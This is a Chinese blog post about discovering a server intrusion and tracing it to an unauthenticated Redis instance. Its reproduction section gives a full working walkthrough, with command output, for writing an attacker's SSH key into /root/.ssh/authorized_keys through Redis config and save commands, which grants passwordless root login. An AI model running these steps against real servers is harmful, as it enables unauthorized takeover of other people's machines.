一、经过
就在昨天,我像往常一样连接到一台云服务器中的Redis进行学习,当我执行keys *
查看所有键的时候,却发现返回了(empty array),也就是代表没有任何数据在Redis中,可是Redis我也并没有手动停止过(没配置过持久化,也就是重启后数据就会消失),也保证没有执行过flushdb清空数据,可数据怎么就没了呢?这让我很是好奇。
这没理由啊,后来在我的/usr/app目录下发现了一个readme.txt。
我记得我并没有创建过这个文件,于是通过vim打开他,此时我一脸小朋友问号。
让黑了???
这是我的第一反应,因为这个文件真的不是我创建的,但是我并没有相关经验去排查,一时间不知如何是好,但是要摸索啊。
仔细一想,要创建此文件,我知道的有三种办法,第一种,通过ssh连接到我的服务器,进入/usr/app,执行touch readme.txt,然后通过vim进行编辑,第二种,通过scp命令上传,第三种,通过第三方工具连接到我的服务器进行上传,如XFtp、FileZilla,但是这三种,都需要密码,但是我的密码也足够复杂,不太可能。
紧接着我通过last 命令查看最近用户的登录信息,结果发现,在前天晚上22:15确实有人登录过,也就是6月1日,共操作了18分钟,进行了不可描述的事情。
root@iZbp1brrrx37m2ijwcg751Z:~# last
root pts/1 120.193.XX.XX Wed Jun 3 09:11 still logged in
root pts/1 120.193.XX.XX Wed Jun 3 09:09 - 09:10 (00:00)
root pts/2 120.193.XX.XX Wed Jun 3 08:41 - 08:41 (00:00)
......
root pts/0 101.206.XX.XX Mon Jun 1 22:15 - 22:33 (00:18)
那他是怎么知道我密码的呢?于是又通过lastb命令查看登入系统失败用户的相关信息,但是从这个列表中并没有发现在6月1有尝试登录的用户。这就更好奇了,这是一次性把密码输对了?没道理啊。
接着我脑子有点蒙。
但是突然想到ssh还可以使用公钥进行登录,那在目录/root/.ssh/authorized_keys中必然有他生成的公钥信息,接着赶紧去查看了一下。
这一看不知道,看了就头皮发麻,确实存在一个,这样他就可以直接通过ssh root@XX.XX.XX.XX
免密码登录,但是他是怎么把公钥放入到authorized_keys文件的呢?
牛!!!
二、原因
后来排查了我对外开发的端口,除了80端口,供Nginx使用,还有就是Redis的6379,Nginx也不太可能啊,莫非是Redis?
由于Redis我并没有设置密码,只要知道我服务器IP的人,都可以进行连接。那Redis有什么办法可以把他的公钥保存到authorized_keys文件中呢?这又是一个问题。
突然想到save命令,他可以生成一个文件,文件中是当前内存中的数据快照,并且,这个文件可以自定义名称,恩~~~有点眉目了。但是save后生成的文件路径并不在/root/.ssh下啊,并且Redis也没有命令可以移动文件,除非Redis可以指定生成的路径。
对,没错!!Redis当然可以指定生成的路径,当即就查看了下Redis的配置。
没想到头皮又一阵发麻,这两个配置确实被改过。
那是不是这样呢?首先入侵者通过连接到Redis,之后set key 公钥,接着通过config命令修改了dir和dbfilename的值,save命令保存后,通过ssh命令直接可以免密码登录,之后他分析了我常用的目录,发现/usr/app下有我经常上传的软件,通过touch、vim进行编辑txt,留下一句,我轻轻的来,又轻轻的走了,希望真的是轻轻的走了,没搞什么吧。
这一顿操作着实骚气。
三、实战演练
既然知道了作案手法,那就来验证一下,是不是这样。
- 服务器启动Redis
首先服务器中的Redis得开启,并且对外开放6379这个端口。 - 入侵者连接Redis
通过./redis-cli -h ip连接到Redis - 配置dir和dbfilename
xx.xx.xx.xx:6379> config set dir /root/.ssh
OK
xx.xx.xx.xx:6379> config set dbfilename authorized_keys
OK
xx.xx.xx.xx:6379> flushdb
此时通过save命令即可在/root/.ssh下生成authorized_keys文件。
- 生成公钥
可以通过ssh-keygen命令 生成,运行后连续三次回车即可。
root@hxl-PC:/home/HouXinLin/apps/redis# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/SWDhF8ONl1PPGkJSDx3YYdpiz5JTNks7vw7ecmeML0 root@hxl-PC
The key's randomart image is:
+---[RSA 2048]----+
| o..=o**|
| . =+oBOo|
| . =+=+o.o|
| = *= . |
| S +=+.. |
| .*+. |
| .=.o.|
| *o+|
| oE |
+----[SHA256]-----+
之后在/root/.ssh/目录下就会生成两个文件id_rsa和id_rsa.pub,第一个是私钥,第二个是公钥。id_rsa.pub中的数据就是要保存在Redis中的数据。
root@hxl-PC:/home/HouXinLin/apps/redis# cd /root/.ssh/
root@hxl-PC:~/.ssh# ls
id_rsa id_rsa.pub known_hosts
root@hxl-PC:~/.ssh#
但是此时还有最重要的一步,在id_rsa.pub文件中前面加两个空行!!!。
6. 利用Redis把公钥保存到authorized_keys中
由于公钥中包含空格,不可以直接使用set key 公钥进行设置,可以通过以下方式进行
root@hxl-PC:~/.ssh# cat id_rsa.pub | /home/HouXinLin/apps/redis/redis-6.0.4/src/./redis-cli -h ip -x set cer
OK
最后一步,保存。
xx.xx.xx.xx:6379> get cer
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcJFbioqs97WvFFoC3g1LECDII+IK6fWwSDQpr26itOSsnh6d2b4LDt66b6IU6EbbsXtTBuV/QrjdDFyFWPDlFSobDQNUW6K9iY47WqG37sR9XknYtXpTIniHazbH6prloa2qJpI/tHyoXnJi5gq8G3qCWtNrleVqaX0zDgWN+1mZlGmUc/FqhCWiGHeOWr01x7AFtp1UzYiJyMDQo4V1yHnXqE2JaJKwXU1jVwfYuS94qeB1Vcxn75dGQSroS3+h2UyvrArkE4WRF8JphQrvk6KtWNHN1VCKGQ57Unj67+jS/FQOV3CFygDMHZkEPJ1XHmMA0crXRo22TPYd6FOiN root@hxl-PC\n"
xx.xx.xx.xx:6379> save
OK
- ssh连接
此时无需要密码,连接后可以”为所欲为“。
root@hxl-PC:~/.ssh# ssh ip
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* MicroK8s gets a native Windows installer and command-line integration.
https://ubuntu.com/blog/microk8s-installers-windows-and-macos
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Welcome to Alibaba Cloud Elastic Compute Service !
root@iZbp1brrrx37m2ijwcg751Z:~#
没想到服务器就这样被黑了吧?对外开发的东西一定要小心,不说了,改Redis密码去。
以上纯属虚构,如有雷同,纯属巧合。